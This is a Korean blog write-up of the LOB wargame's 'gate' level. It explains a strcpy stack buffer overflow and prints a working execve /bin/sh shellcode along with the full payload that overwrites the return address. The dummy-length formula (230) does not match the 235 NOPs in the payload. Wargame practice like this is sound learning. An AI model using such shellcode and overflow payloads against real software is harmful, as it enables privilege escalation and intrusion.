와우 이번엔 LOB!
FTZ를 끝냈다면 꼭 풀어야할 워게임이다
id : gate / pwd : gate로 로그인을 해준 후 명령창에 꼭 bash2라고 쳐준다
bash2를 입력해주는 이유는 \xff를 \x00으로 인식하는 오류를 피하기 위해 사용해준다고 합니다
그럼 한 가볼까요?
이젠 아예 실행 파일의 소스코드를 주네요
함 봐봅시다
FTZ의 11번 문제와 유사하네요
그런 기념으로 제 블로그에 있는 풀이 좀 봐주세요...
https://qpalzm1029.tistory.com/26?category=555234
[FTZ] level11 풀이!
로그인해서 ls로 무슨 파일들이 있는지 확인해봅니다 hint 파일과 attackme 파일이 있네요 file 명령어로 파일을 확인해보니 32bit짜리 실행 파일이라 하네요 한 번 실행해 보겠습니다 오류가 뜨네요 h
qpalzm1029.tistory.com
제 블로그를 보셨다면 아마 풀이 방법을 아실 겁니다!
그래도 못 보신 분들을 위해 함 구해보죠
strcpy()로 인자값을 buffer에 입력하고 printf로 입력 받은 인자값을 출력하네요
변수의 크기가 커서 쉘코드를 넣고 buffer의 주소를 RET에 덮어쓰면 될 것 같습니다
buffer가 ebp-256에서 입력 받네요
main+59에 bp를 걸어 입력 받은 값이 스택 어디에 위치한지 알아보겠습니다
0xbffff928부터가 buffer의 주소네요
근데 혹시나 FTZ 때처럼 ASlR이 걸려있는지 함 확인해보죠..
휴.. 다행히 안 걸려있네요
그럼 이제 주소가 0xbffff928인 것도 구했으니 페이로드를 짜봅시당
저는 25bytes짜리 쉘코드를 사용하겠습니다
shellcode :\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
Payload = 쉘코드[25] + dummy(230)[260-쉘코드[25] + buffer 주소
최종 페이로드 = ./gremlin `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*235 + "\x28\xf9\xff\xbf"'`
'Pwnable > LOB' 카테고리의 다른 글
[LOB] wolfman 문제 풀이!!!! (0) | 2022.05.13 |
---|---|
[LOB] orc 문제 풀이!!!! (0) | 2022.05.13 |
[LOB] goblin 문제 풀이!!!! (0) | 2022.05.12 |
[LOB] cobolt 문제 풀이! (2) | 2022.05.12 |
[LOB] gremlin 문제 풀이! (1) | 2022.05.12 |